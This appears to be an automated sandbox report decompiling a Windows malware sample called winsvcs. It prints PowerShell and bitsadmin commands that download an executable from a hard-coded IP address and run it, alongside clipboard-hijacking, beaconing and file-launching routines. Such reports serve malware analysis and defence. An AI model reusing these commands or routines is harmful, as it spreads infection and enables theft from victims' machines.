Part of subcall function 00405AF4: Sleep.KERNEL32(000003E8,?,?,?,004011B8,00000000,?,0000000A), ref: 00405B18

exit.MSVCRT ref: 004011BC
_XcptFilter.MSVCRT ref: 004011CE

Memory Dump Source

Source File: 00000002.00000002.627197202.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_winsvcs.jbxd

Similarity

API ID: Sleep_initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherr_controlfpexit
String ID:
API String ID: 3521145008-0
Opcode ID: 5cb53401b591ffa9582074a2e4d9eccb6562fb4aed9a779df2214e56afcf27fa
Instruction ID: 5b05c07553ae178af4016a12da249ed315aa1a1b1608281c60f66531cbc15a50
Opcode Fuzzy Hash: 5cb53401b591ffa9582074a2e4d9eccb6562fb4aed9a779df2214e56afcf27fa
Instruction Fuzzy Hash: DE419FB1D04348AFDB249FA4DD45A6A7BB8FB09310F20423BF541BB2E1C7785840CB5A

Uniqueness

Uniqueness Score: 0.05%

Function 00402501, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 104
networkthreadUNIQUE

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004034E6: inet_addr.WS2_32(?), ref: 004034EE
Part of subcall function 004034E6: gethostbyname.WS2_32(?), ref: 00403500

socket.WS2_32(00000002,00000001,00000000), ref: 00402533
htons.WS2_32(0000170C), ref: 00402558
ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040256E
connect.WS2_32(000000FF,?,00000010), ref: 0040257D
select.WS2_32(00000000,00000000,00000000,00000000,00000007), ref: 00402621
closesocket.WS2_32(000000FF), ref: 0040262D
closesocket.WS2_32(000000FF), ref: 0040263C

Part of subcall function 00401B06: socket.WS2_32(00000002,00000001,00000000), ref: 00401B29
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00401B3B
Part of subcall function 00401B06: inet_addr.WS2_32(00000001), ref: 00401B4B
Part of subcall function 00401B06: htons.WS2_32(0000170C), ref: 00401B60
Part of subcall function 00401B06: connect.WS2_32(000000FF,?,00000010), ref: 00401B73
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00401B85
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00401BAA
Part of subcall function 00401B06: sscanf.MSVCRT ref: 00401BCC
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00401BDC
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00401BF8
Part of subcall function 00401B06: sprintf.MSVCRT ref: 00401C24
Part of subcall function 00401B06: sprintf.MSVCRT ref: 00401C3B
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00401C5F
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00401C9C
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00401CC1
Part of subcall function 00401B06: Sleep.KERNEL32(000003E8), ref: 00401E41
Part of subcall function 00401B06: Sleep.KERNEL32(000007D0), ref: 00401E55
Part of subcall function 00401B06: Sleep.KERNEL32(000007D0), ref: 00401E71
Part of subcall function 00401B06: Sleep.KERNEL32(000007D0), ref: 00401E85
Part of subcall function 00401B06: Sleep.KERNEL32(000007D0), ref: 00401EA1
Part of subcall function 00401B06: Sleep.KERNEL32(000003E8), ref: 00401EBD
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00401EC6
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00401ED7
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00401EE2
Part of subcall function 00401B06: Sleep.KERNEL32(00001388), ref: 00401EED
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00401F10
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00401F85
Part of subcall function 00401B06: Sleep.KERNEL32(000007D0), ref: 00401FA4
Part of subcall function 00401B06: Sleep.KERNEL32(000003E8), ref: 004020CF
Part of subcall function 00401B06: Sleep.KERNEL32(000007D0), ref: 004020E3
Part of subcall function 00401B06: Sleep.KERNEL32(000007D0), ref: 004020FF
Part of subcall function 00401B06: Sleep.KERNEL32(000007D0), ref: 00402113
Part of subcall function 00401B06: Sleep.KERNEL32(000007D0), ref: 0040212F
Part of subcall function 00401B06: Sleep.KERNEL32(000003E8), ref: 0040214B
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00402154
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 0040217A
Part of subcall function 00401B06: strncpy.MSVCRT ref: 00402196
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00402233
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00402258
Part of subcall function 00401B06: Sleep.KERNEL32(000003E8), ref: 0040240B
Part of subcall function 00401B06: Sleep.KERNEL32(000007D0), ref: 0040241F
Part of subcall function 00401B06: Sleep.KERNEL32(000007D0), ref: 0040243B
Part of subcall function 00401B06: Sleep.KERNEL32(000007D0), ref: 0040244F
Part of subcall function 00401B06: Sleep.KERNEL32(000007D0), ref: 0040246B
Part of subcall function 00401B06: Sleep.KERNEL32(000003E8), ref: 00402487
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 00402490
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 004024A2
Part of subcall function 00401B06: Sleep.KERNEL32(00000BB8), ref: 004024AD
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 004024B8
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 004024C7
Part of subcall function 00401B06: shutdown.WS2_32(000000FF,00000002), ref: 004024DC
Part of subcall function 00401B06: closesocket.WS2_32(000000FF), ref: 004024E5
Part of subcall function 00401B06: Sleep.KERNEL32(000003E8), ref: 004024F4

ExitThread.KERNEL32 ref: 0040267D

Strings

@, xrefs: 004025E3

Memory Dump Source

Source File: 00000002.00000002.627197202.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_winsvcs.jbxd

Similarity

API ID: closesocket$Sleep$connecthtonsinet_addrsocketsprintf$ExitThreadgethostbynameioctlsocketselectshutdownsscanfstrncpy
String ID: @
API String ID: 33145459-2766056989
Opcode ID: 31a09b4cb86bd0a8dacbb7d79b3b3d2e86d189c8f1a24138e5103d4aec14dbd0
Instruction ID: 50a6d2c0bb644e9e1ec9787a68e904db16e4b781e92625cffabff0c086edb036
Opcode Fuzzy Hash: 31a09b4cb86bd0a8dacbb7d79b3b3d2e86d189c8f1a24138e5103d4aec14dbd0
Instruction Fuzzy Hash: D6410630D04218DFDB21CF94DE48BEEBBB4BB09315F1044A6E409B62D0D7B66A85CF59

Uniqueness

Uniqueness Score: 100.00%

Function 00406ADD, Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 62
sleepthreadUNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E00406ADD() {
				signed int _t30;
				signed char _t42;
				void* _t53;
				void* _t54;

				L0:
				while(1) {
					L0:
					 *(_t53 - 0x15b8) =  *(_t53 - 0x15b8) + 1;
					L2:
					while( *(_t53 - 0x15b8) >= 0x47) {
						_t30 = rand();
						asm("cdq");
						Sleep(0x2710 + _t30 % 0xea60 * 5);
						L1:
						Sleep(0x1f4);
						 *(_t53 - 0x15b8) =  *(_t53 - 0x15b8) & 0x00000000;
					}
					Sleep(0x1f4);
					memset(_t53 - 0x1180, 0, 0x1f4);
					_push( *((intOrPtr*)(_t53 +  *(_t53 - 0x15b8) * 4 - 0xbd8)));
					_push("%s");
					_push(0x1f4);
					_push(_t53 - 0x1180);
					L00401066();
					_t54 = _t54 + 0x1c;
					 *(_t53 - 0x15bc) =  *(_t53 - 0x15bc) & 0x00000000;
					L5:
					while( *(_t53 - 0x15bc) < 5) {
						Sleep(0x1f4); // executed
						memset(_t53 - 0x17b8, 0, 0x1f4);
						_push( *((intOrPtr*)(_t53 +  *(_t53 - 0x15bc) * 4 - 0xbec)));
						_push(_t53 - 0x1180);
						_push("%s%s");
						_push(0x1f4);
						_push(_t53 - 0x17b8);
						L00401066();
						_t54 = _t54 + 0x20;
						_t42 = E00402BE5(_t53 - 0x17b8); // executed
						if((_t42 & 0x000000ff) != 0) {
							CreateThread(0, 0, E0040436A, _t53 - 0x17b8, 0, 0); // executed
						}
						L4:
						 *(_t53 - 0x15bc) =  *(_t53 - 0x15bc) + 1;
					}
				}
			}

0x00406add
0x00406add
0x00406add
0x00406ae4
0x00000000
0x00406aea
0x00406be7
0x00406bec
0x00406bfe
0x00406ac9
0x00406ace
0x00406ad4
0x00406ad4
0x00406afc
0x00406b10
0x00406b1e
0x00406b25
0x00406b2a
0x00406b35
0x00406b36
0x00406b3b
0x00406b3e
0x00000000
0x00406b54
0x00406b66
0x00406b7a
0x00406b88
0x00406b95
0x00406b96
0x00406b9b
0x00406ba6
0x00406ba7
0x00406bac
0x00406bb6
0x00406bc1
0x00406bd7
0x00406bd7
0x00406b47
0x00406b4e
0x00406b4e
0x00406be2

APIs

Sleep.KERNEL32(000001F4), ref: 00406ACE
Sleep.KERNEL32(000001F4), ref: 00406AFC
memset.MSVCRT ref: 00406B10
_snprintf.MSVCRT ref: 00406B36
Sleep.KERNEL32(000001F4), ref: 00406B66
memset.MSVCRT ref: 00406B7A
_snprintf.MSVCRT ref: 00406BA7

Part of subcall function 00402BE5: InternetOpenA.WININET(Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0,00000001,00000000,00000000,00000000), ref: 00402BFB
Part of subcall function 00402BE5: InternetOpenUrlA.WININET(00000000,00406BBB,00000000,00000000,00000000,00000000), ref: 00402C1C
Part of subcall function 00402BE5: PathFindFileNameA.SHLWAPI(00406BBB), ref: 00402C32
Part of subcall function 00402BE5: HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402CB9
Part of subcall function 00402BE5: HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402D33
Part of subcall function 00402BE5: HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402DAD
Part of subcall function 00402BE5: HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402E27
Part of subcall function 00402BE5: HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402EB0
Part of subcall function 00402BE5: InternetCloseHandle.WININET(00000000), ref: 00402EB9
Part of subcall function 00402BE5: InternetCloseHandle.WININET(00000000), ref: 00402EC2
Part of subcall function 00402BE5: InternetCloseHandle.WININET(00000000), ref: 00403238
Part of subcall function 00402BE5: InternetCloseHandle.WININET(00000000), ref: 00403241

CreateThread.KERNEL32(00000000,00000000,0040436A,?,00000000,00000000), ref: 00406BD7
rand.MSVCRT ref: 00406BE7
Sleep.KERNEL32 ref: 00406BFE

Strings

G, xrefs: 00406AEA
%s%s, xrefs: 00406B96

Memory Dump Source

Source File: 00000002.00000002.627197202.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_winsvcs.jbxd

Similarity

API ID: Internet$HttpInfoQuery$CloseHandleSleep$Open_snprintfmemset$CreateFileFindNamePathThreadrand
String ID: %s%s$G
API String ID: 3723293114-2161775529
Opcode ID: cf5444a184c9784a72ca07b29f7b904a2b8d4ad0c41e653e918d55e787fc7db4
Instruction ID: 1d100ea677f2fdf9f662240d1665f38cb95b3e1b6a68725344ac8fa4eadf81c6
Opcode Fuzzy Hash: cf5444a184c9784a72ca07b29f7b904a2b8d4ad0c41e653e918d55e787fc7db4
Instruction Fuzzy Hash: 172157B1948219EBDB50DA509C85FD973BCAB48705F1005F6F20AF90C0DB78AAD48F19

Uniqueness

Uniqueness Score: 100.00%

Function 00403527, Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 50
fileUNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E00403527() {
				short _v524;
				void* _v528;
				short _v1052;
				void* _t19;

				memset( &_v524, 0, 0x208);
				memset( &_v1052, 0, 0x208);
				ExpandEnvironmentStringsW(L"%appdata%",  &_v524, 0x208);
				_push( &_v524);
				_push(L"%ls\\winsvcs.txt");
				_push(0x208);
				_push( &_v1052);
				L00401030();
				_t19 = CreateFileW( &_v1052, 0x40000000, 0, 0, 2, 2, 0); // executed
				_v528 = _t19;
				if(_v528 == 0xffffffff || GetLastError() == 0xb7) {
					return 0;
				} else {
					CloseHandle(_v528);
					return 1;
				}
			}

0x0040353e
0x00403554
0x0040356d
0x00403579
0x0040357a
0x0040357f
0x0040358a
0x0040358b
0x004035a9
0x004035af
0x004035bc
0x00000000
0x004035cf
0x004035d5
0x00000000
0x004035db

APIs

memset.MSVCRT ref: 0040353E
memset.MSVCRT ref: 00403554
ExpandEnvironmentStringsW.KERNEL32(%appdata%,?,00000208), ref: 0040356D
_snwprintf.MSVCRT ref: 0040358B
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000002,00000000), ref: 004035A9
GetLastError.KERNEL32 ref: 004035BE
CloseHandle.KERNEL32(000000FF), ref: 004035D5

Strings

%ls\winsvcs.txt, xrefs: 0040357A
%appdata%, xrefs: 00403568

Memory Dump Source

Source File: 00000002.00000002.627197202.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_winsvcs.jbxd

Similarity

API ID: memset$CloseCreateEnvironmentErrorExpandFileHandleLastStrings_snwprintf
String ID: %appdata%$%ls\winsvcs.txt
API String ID: 3117843982-2072866358
Opcode ID: ced0ce0bf442d9b3e35b573d81142ec20373fd3be4dffbcde456d6de309a3333
Instruction ID: 504b25e4c6b840a808b2190e11c05aed5ed3b01715c44f36e106f365c5ebcb74
Opcode Fuzzy Hash: ced0ce0bf442d9b3e35b573d81142ec20373fd3be4dffbcde456d6de309a3333
Instruction Fuzzy Hash: 961161B4D403187AEB60AB609C0EFDA376C9B10705F5046B5B354F60D2DA786AC58FA9

Uniqueness

Uniqueness Score: 100.00%

Function 0040324B, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40
networkUNIQUE

C-Code - Quality: 61%

			E0040324B(intOrPtr _a4) {
				void* _v8;
				char _v276;
				void* _v280;
				void* _t14;
				void* _t18;

				memset( &_v276, 0, 0x104);
				_push(_a4);
				_push("%st.php?new=1");
				_push(0x104);
				_push( &_v276);
				L00401066();
				_t14 = InternetOpenA("Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0", 0, 0, 0, 0); // executed
				_v280 = _t14;
				if(_v280 != 0) {
					_t18 = InternetOpenUrlA(_v280,  &_v276, 0, 0, 0, 0); // executed
					_v8 = _t18;
				}
				InternetCloseHandle(_v8); // executed
				return InternetCloseHandle(_v280);
			}

0x00403262
0x0040326a
0x0040326d
0x00403272
0x0040327d
0x0040327e
0x00403293
0x00403299
0x004032a6
0x004032bd
0x004032c3
0x004032c3
0x004032c9
0x004032dc

APIs

memset.MSVCRT ref: 00403262
_snprintf.MSVCRT ref: 0040327E
InternetOpenA.WININET(Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0,00000000,00000000,00000000,00000000), ref: 00403293
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 004032BD
InternetCloseHandle.WININET(?), ref: 004032C9
InternetCloseHandle.WININET(00000000), ref: 004032D5

Strings

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0, xrefs: 0040328E
%st.php?new=1, xrefs: 0040326D

Memory Dump Source

Source File: 00000002.00000002.627197202.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_winsvcs.jbxd

Similarity

API ID: Internet$CloseHandleOpen$_snprintfmemset
String ID: %st.php?new=1$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0
API String ID: 681744363-1636052401
Opcode ID: 4321ad40b70e1c94a6c9b90a8edfdabf4c66bfe9b4754fe93ef6a82f7335af7a
Instruction ID: 97927eca14e05837ded4659e66328206e70c76cd09e528b754a7f047d343dcb8
Opcode Fuzzy Hash: 4321ad40b70e1c94a6c9b90a8edfdabf4c66bfe9b4754fe93ef6a82f7335af7a
Instruction Fuzzy Hash: A4016270D4020CBBEB24AF50DD07FD87678AB04B04F1004F5B704B91D1D6B56B908F6A

Uniqueness

Uniqueness Score: 100.00%

Function 0002003C, Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 471memorylibraryUNIQUE

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 000201B5
VirtualProtect.KERNEL32(?,?,00000040,?), ref: 000201F8
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00020358
LoadLibraryA.KERNEL32(?), ref: 00020408
LoadLibraryA.KERNEL32(msvcr100.dll), ref: 000207A9

Strings

cess, xrefs: 0002016F
kernel32.dll, xrefs: 00020089, 0002008F

Memory Dump Source

Source File: 00000002.00000002.616189323.00020000.00000040.sdmp, Offset: 00020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_20000_winsvcs.jbxd

Similarity

API ID: Virtual$LibraryLoad$AllocFreeProtect
String ID: cess$kernel32.dll
API String ID: 2603362940-1230238691
Opcode ID: fddc5ec034c8a2bf376dfafa75bdf3f115134f85eeaf618fcd07844234ef8588
Instruction ID: 4d866d0358b3029fe5402029315dfa4cac42d9e72acc27ce4e4c1359195aa876
Opcode Fuzzy Hash: fddc5ec034c8a2bf376dfafa75bdf3f115134f85eeaf618fcd07844234ef8588
Instruction Fuzzy Hash: CF427AB4A00228DFDB64CF98D984B9CBBB5BF09304F5480D9E549AB352DB30AE85CF15

Uniqueness

Uniqueness Score: 100.00%

Function 00401717, Relevance: 10.6, APIs: 4, Strings: 3, Instructions: 143
sleepUNIQUE

C-Code - Quality: 94%

			E00401717(intOrPtr _a4, signed char _a8, signed char _a12, signed char _a16) {
				intOrPtr _v8;
				char _v12;
				void _v196;
				signed int _v200;
				char _v201;
				char _v202;
				void _v340;
				intOrPtr* _v344;
				intOrPtr _v348;
				char _v349;
				intOrPtr _v356;
				intOrPtr* _v360;
				intOrPtr _v364;
				char _v365;
				intOrPtr _v372;
				intOrPtr* _v376;
				intOrPtr _v380;
				char _v381;
				intOrPtr _v388;
				char _t81;
				intOrPtr _t82;
				signed int _t128;
				void* _t140;
				void* _t141;
				void* _t143;

				_v202 = 0xff;
				_v201 = 0xd;
				_t81 = "cmd.exe"; // 0x2e646d63
				_v12 = _t81;
				_t82 =  *0x40738c; // 0x657865
				_v8 = _t82;
				_t128 = 0x2c;
				memcpy( &_v196, "PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile(\'http://92.63.197.48/vnc.exe\',\'%temp%\\853800385940.exe\');Start-Process \'%temp%\\853800385940.exe\'", _t128 << 2);
				asm("movsw");
				asm("movsb");
				_push(0x22);
				memcpy( &_v340, "bitsadmin /transfer getitman /download /priority high http://92.63.197.48/vnc.exe %temp%\\495050583930.exe&start %temp%\\495050583930.exe", 0 << 2);
				_t143 = _t141 + 0x18;
				if((_a8 & 0x000000ff) == 1) {
					_v200 = _v200 & 0x00000000;
					while(1) {
						_v344 =  &_v12;
						_v348 = _v344 + 1;
						do {
							_v349 =  *_v344;
							_v344 = _v344 + 1;
						} while (_v349 != 0);
						_v356 = _v344 - _v348;
						if(_v200 < _v356) {
							E004015DB(0, _a4, 0,  *(_t140 + _v200 - 8) & 0x000000ff, 2);
							_t143 = _t143 + 0x10;
							Sleep(0x23);
							_v200 = _v200 + 1;
							continue;
						}
						goto L7;
					}
				}
				L7:
				if((_a12 & 0x000000ff) == 1) {
					_v200 = _v200 & 0x00000000;
					while(1) {
						_v360 =  &_v340;
						_v364 = _v360 + 1;
						do {
							_v365 =  *_v360;
							_v360 = _v360 + 1;
						} while (_v365 != 0);
						_v372 = _v360 - _v364;
						if(_v200 < _v372) {
							E004015DB(0, _a4, 0,  *(_t140 + _v200 - 0x150) & 0x000000ff, 2); // executed
							_t143 = _t143 + 0x10;
							Sleep(0x23);
							_v200 = _v200 + 1;
							continue;
						}
						goto L14;
					}
				}
				L14:
				if((_a16 & 0x000000ff) == 1) {
					_v200 = _v200 & 0x00000000;
					while(1) {
						_v376 =  &_v196;
						_v380 = _v376 + 1;
						do {
							_v381 =  *_v376;
							_v376 = _v376 + 1;
						} while (_v381 != 0);
						_v388 = _v376 - _v380;
						if(_v200 < _v388) {
							E004015DB(0, _a4, 0,  *(_t140 + _v200 - 0xc0) & 0x000000ff, 2);
							_t143 = _t143 + 0x10;
							Sleep(0x23);
							_v200 = _v200 + 1;
							continue;
						}
						goto L21;
					}
				}
				L21:
				Sleep(0x1f4);
				return E004015DB(0, _a4, _v202, _v201, 2);
			}

APIs

Sleep.KERNEL32(00000023,?,?,?,?), ref: 004017F6
Sleep.KERNEL32(00000023,?,?,?,?), ref: 0040189A
Sleep.KERNEL32(00000023,?,?,?,?), ref: 0040193E
Sleep.KERNEL32(000001F4,?,?), ref: 0040194E

Part of subcall function 004015DB: send.WS2_32(0000000D,0000000D,00000008,00000000), ref: 0040164A
Part of subcall function 004015DB: send.WS2_32(0000000D,0000000D,00000008,00000000), ref: 00401667

Strings

cmd.exe, xrefs: 00401730
bitsadmin /transfer getitman /download /priority high http://92.63.197.48/vnc.exe %temp%\495050583930.exe&start %temp%\495050583930.exe, xrefs: 00401756
PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://92.63.197.48/vnc.exe','%temp%\853800385940.exe');Start-Process '%temp%\853800385940.exe', xrefs: 00401743

Memory Dump Source

Source File: 00000002.00000002.627197202.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_winsvcs.jbxd

Similarity

API ID: Sleep$send
String ID: PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://92.63.197.48/vnc.exe','%temp%\853800385940.exe');Start-Process '%temp%\853800385940.exe'$bitsadmin /transfer getitman /download /priority high http://92.63.197.48/vnc.exe %temp%\495050583930.exe&start %temp%\495050583930.exe$cmd.exe
API String ID: 4079979460-3874844114
Opcode ID: e5bb1bb67de6b6f928b23916b446aac9230ee6b95ac9dbdec5d57512cec888dd
Instruction ID: baaf9ef8a5c4e030bc55f342b21e0ff2eb1638d6b2c5673db9051590f5badfb1
Opcode Fuzzy Hash: e5bb1bb67de6b6f928b23916b446aac9230ee6b95ac9dbdec5d57512cec888dd
Instruction Fuzzy Hash: 42612571D052689FEB62DB28CE44BE9BBB1BB15311F0002E6E949BB291C7395EC4CF15

Uniqueness

Uniqueness Score: 100.00%

Function 004035DF, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55
sleepprocessUNIQUE

C-Code - Quality: 68%

			E004035DF(WCHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				struct _STARTUPINFOW _v92;
				short _t13;
				int _t16;

				memset( &_v92, 0, 0x44);
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v92.cb = 0x44;
				_v92.dwFlags = 1;
				_t13 = 5;
				_v92.wShowWindow = _t13;
				_t16 = CreateProcessW(0, _a4, 0, 0, 0, 0x20, 0, 0,  &_v92,  &_v20); // executed
				if(_t16 == 0) {
					Sleep(0x1f4);
					if(ShellExecuteW(0, L"open", _a4, 0, 0, 0) == 0) {
						return 0;
					}
					return 1;
				}
				return 1;
			}

0x004035ee
0x004035fb
0x004035fc
0x004035fd
0x004035fe
0x004035ff
0x00403606
0x0040360f
0x00403610
0x0040362d
0x00403635
0x00403640
0x0040365e
0x00000000
0x00403664
0x00000000
0x00403660
0x00000000

APIs

memset.MSVCRT ref: 004035EE
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040362D
Sleep.KERNEL32(000001F4,?,?,?), ref: 00403640
ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 00403656

Strings

D, xrefs: 004035FF
open, xrefs: 0040364F

Memory Dump Source

Source File: 00000002.00000002.627197202.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_winsvcs.jbxd

Similarity

API ID: CreateExecuteProcessShellSleepmemset
String ID: D$open
API String ID: 541629773-2491301029
Opcode ID: 53d672ba8f1b31d252f8aee28e29acdc8d15b8d93c186899c3beea2ecfbe53e7
Instruction ID: 7e3bdf0c90cf3df6866e5df59eb9a53a3d08eaf85889ef7f12c5c659c25ed17f
Opcode Fuzzy Hash: 53d672ba8f1b31d252f8aee28e29acdc8d15b8d93c186899c3beea2ecfbe53e7
Instruction Fuzzy Hash: 29015E71B84344BAFB615EE4DC0AFDA7B689B04B01F100422F701BD2D0D6B9A1458B6E

Uniqueness

Uniqueness Score: 100.00%

Function 004033D1, Relevance: 9.1, APIs: 6, Instructions: 70
processCOMMON

C-Code - Quality: 94%

			E004033D1(intOrPtr* _a4) {
				void* _v8;
				char _v272;
				void* _v308;
				intOrPtr* _v312;
				intOrPtr* _v316;
				signed int _v317;
				signed int _v318;
				signed int _v324;
				signed int _v328;
				void* _t35;
				int _t37;
				signed int _t43;
				int _t46;

				_t35 = CreateToolhelp32Snapshot(0xf, 0); // executed
				_v8 = _t35;
				if(_v8 != 0xffffffff) {
					_v308 = 0x128;
					_t37 = Process32First(_v8,  &_v308); // executed
					if(_t37 != 0) {
						do {
							CharLowerA( &_v272);
							_v312 =  &_v272;
							_v316 = _a4;
							while(1) {
								_t43 =  *_v316;
								_v317 = _t43;
								if(_t43 !=  *_v312) {
									break;
								}
								if(_v317 == 0) {
									L9:
									_v324 = _v324 & 0x00000000;
									L11:
									_v328 = _v324;
									if(_v328 != 0) {
										goto L13;
									}
									CloseHandle(_v8);
									return 1;
								}
								_t43 =  *((intOrPtr*)(_v316 + 1));
								_v318 = _t43;
								if(_t43 !=  *((intOrPtr*)(_v312 + 1))) {
									break;
								}
								_v316 = _v316 + 2;
								_v312 = _v312 + 2;
								if(_v318 != 0) {
									continue;
								}
								goto L9;
							}
							asm("sbb eax, eax");
							asm("sbb eax, 0xffffffff");
							_v324 = _t43;
							goto L11;
							L13:
							_t46 = Process32Next(_v8,  &_v308); // executed
						} while (_t46 != 0);
						CloseHandle(_v8);
						return 0;
					}
					return 0;
				}
				return 0;
			}

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 004033DE
Process32First.KERNEL32(000000FF,00000128), ref: 00403407
CharLowerA.USER32(?), ref: 0040341E
CloseHandle.KERNEL32(000000FF), ref: 004034B7
Process32Next.KERNEL32(000000FF,00000128), ref: 004034CC
CloseHandle.KERNEL32(000000FF), ref: 004034DC

Memory Dump Source

Source File: 00000002.00000002.627197202.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_winsvcs.jbxd

Similarity

API ID: CloseHandleProcess32$CharCreateFirstLowerNextSnapshotToolhelp32
String ID:
API String ID: 1582946944-0
Opcode ID: 5c34588e21f89465d4ad527e7a282fd2a96a42e09950e3a1bdfe9106ec75b21b
Instruction ID: 28b41e58f7367b712ca8f338dbaf9911c769a9c841e83b7527f35b47edef1405
Opcode Fuzzy Hash: 5c34588e21f89465d4ad527e7a282fd2a96a42e09950e3a1bdfe9106ec75b21b
Instruction Fuzzy Hash: 17313630D042689FCB22DF24CD447E9BBB9AB18319F4005EAE449B62A1D7389F85DF04

Uniqueness

Uniqueness Score: 1.47%

Function 004054CE, Relevance: 9.0, APIs: 6, Instructions: 27
clipboardsleepCOMMON

C-Code - Quality: 100%

			E004054CE() {
				char* _v8;
				void* _v12;

				L1:
				while(1) {
					if(OpenClipboard(0) == 0) {
						L6:
						Sleep(0xc8); // executed
						continue;
					}
					_v12 = GetClipboardData(1);
					if(_v12 != 0) {
						_v8 = GlobalLock(_v12);
						if(_v8 != 0) {
							GlobalUnlock(_v12);
							E004050C2(_v8);
						}
					}
					CloseClipboard();
					goto L6;
				}
			}

0x00000000
0x004054d3
0x004054dd
0x0040551a
0x0040551f
0x00000000
0x0040551f
0x004054e7
0x004054ee
0x004054f9
0x00405500
0x00405505
0x0040550e
0x00405513
0x00405500
0x00405514
0x00000000
0x00405514

APIs

OpenClipboard.USER32(00000000), ref: 004054D5
GetClipboardData.USER32(00000001), ref: 004054E1
GlobalLock.KERNEL32(00000000), ref: 004054F3
GlobalUnlock.KERNEL32(00000000), ref: 00405505

Part of subcall function 004050C2: isalpha.MSVCRT ref: 004052AF
Part of subcall function 004050C2: isdigit.MSVCRT ref: 004052C3
Part of subcall function 004050C2: GlobalAlloc.KERNEL32(00002002,?), ref: 00405476
Part of subcall function 004050C2: GlobalLock.KERNEL32(?), ref: 00405482
Part of subcall function 004050C2: memcpy.MSVCRT ref: 00405496
Part of subcall function 004050C2: GlobalUnlock.KERNEL32(?), ref: 004054A1
Part of subcall function 004050C2: OpenClipboard.USER32(00000000), ref: 004054A9
Part of subcall function 004050C2: EmptyClipboard.USER32 ref: 004054B3
Part of subcall function 004050C2: SetClipboardData.USER32(00000001,?), ref: 004054BE
Part of subcall function 004050C2: CloseClipboard.USER32 ref: 004054C4

CloseClipboard.USER32 ref: 00405514
Sleep.KERNEL32(000000C8), ref: 0040551F

Memory Dump Source

